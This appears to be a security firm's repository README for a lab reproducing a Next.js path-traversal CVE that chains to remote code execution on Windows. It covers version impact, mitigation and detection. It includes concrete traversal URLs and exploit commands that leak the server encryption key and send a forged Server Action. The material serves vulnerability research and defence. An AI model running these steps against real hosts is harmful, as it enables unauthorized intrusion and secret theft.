fortbridge-uk/cve-2026-75604Reproduction lab and exploit tooling for CVE-2026-75604, a path traversal in Next.js incremental cache leading to unauthenticated RCE on Windows. Includes PoC, forge CLI, and harness for testing.
Reproduction lab and exploit tooling for CVE-2026-75604, an unauthenticated path-traversal in the Next.js incremental cache that affects Windows hosts. A single un-escaped backslash lets an attacker read and write files outside the cache directory; on the right versions and app shape it chains to unauthenticated remote code execution.
Research by Fortbridge. Full write-up: Reproducing CVE-2026-75604.
⚠️ Authorized testing only. This is a deliberately vulnerable application and a working exploit for a patched CVE. Use it on an isolated lab network you own. Never deploy the target anywhere reachable from production or the internet.
escapePathDelimiters (Next.js router utils) escapes /, #, but .
A percent-encoded backslash () in a route segment decodes to a raw , survives
into the incremental-cache key, and - because on Windows is a path separator -
walks out of the cache root. The same code backs cache , giving arbitrary file read and write. Windows only; Linux/macOS treat
as an ordinary filename character.
?\%5C\\path.join()\Affected: 13.4-15.5.23 and 16.0-16.3.2. Fixed: 15.5.24 / 16.3.3.
The traversal spans the whole affected range, but the RCE gadget (a React Flight
constructor:constructor property-chain that resolves to the Function constructor)
only works where react-server-dom-webpack lacks a reference guard added mid-lifecycle:
| Next.js range | Gadget → Function | Impact |
|---|---|---|
| 13.4 - 14.x | no (no property-path support) | read / write / authz-bypass |
| 15.0.0 - 15.5.22 | yes | RCE-capable |
| 15.5.23 | no (guard added) | traversal only |
| 16.0.0 - 16.2.x | yes | RCE-capable |
| 16.3.0 - 16.3.2 | no (guard added) | traversal only |
| 15.5.24 / 16.3.3 | - | patched |
RCE also requires an app-side higher-order Server Action that calls a closure-bound
value with user input (boundFn(input)()). Apps without that pattern still face
disclosure, write/DoS, and Server Action authorization bypass. See research/FINDINGS.md
and research/rce-version-matrix.txt.
| path | what |
|---|---|
setup-windows.ps1 | build + start the vulnerable lab on a Windows host (default Next 16.2.0) |
app/ | minimal vulnerable target: home Server Action (RCE sink) + two cached catch-all routes |
exploit.mjs | read-only PoC - leak encryptionKey via the traversal (--burp, --raw, --write) |
forge-cli.mjs | decrypt a genuine bound arg / gadget forge the Function blob |
send-action.mjs | steps 4-5 in one command: forged POST + read the output back (--proof, --burp) |
harness/ | OS-independent rediscovery - runs the unmodified 16.3.2/16.3.3 code under path.win32 |
BURP-STEPS.md | the coherent 5-step reproduction recipe |
research/ | patch diff, version matrix, findings |
evidence/ | screenshots from a verified run |
# build + start the vulnerable lab (Next.js 16.2.0)
powershell -File setup-windows.ps1 # prints BUILD_ID and check URLs
# step 1 (browser): warm, then open the traversal read → encryptionKey
# http://<host>:3000/app-cache/..%5C..%5Cserver-reference-manifest (warm)
# http://<host>:3000/_next/data/<BUILD_ID>/pages-cache/..%5C..%5Cserver-reference-manifest.json
# steps 2-3: decrypt a genuine bound arg, then forge the Function gadget
node forge-cli.mjs decrypt <key> <actionId> <blob-from-page>
node forge-cli.mjs gadget <key> <actionId>
# steps 4-5 (through Burp): forged POST + read-back in one command
node send-action.mjs http://<host>:3000 --key <key> --action <actionId> --proof pwn --burp
No Windows box? node harness/harness.mjs proves the traversal on any OS by driving the
real shipped Next.js 16.3.2 and 16.3.3 code with path bound to path.win32.
Upgrade to 15.5.24 or 16.3.3. There is no in-place workaround for affected
Windows hosts. Rotate secrets the read may have exposed - especially
NEXT_SERVER_ACTIONS_ENCRYPTION_KEY (a leaked key stays valid across rebuilds when pinned).
%5C / ..%5C in a route segment to /_next/data/… or cached App Router paths.{"pageProps":…,"__N_SSG":true} stub (the destructive read)..html / .rsc / .meta) written outside .next\server\app\ or .next\server\pages\.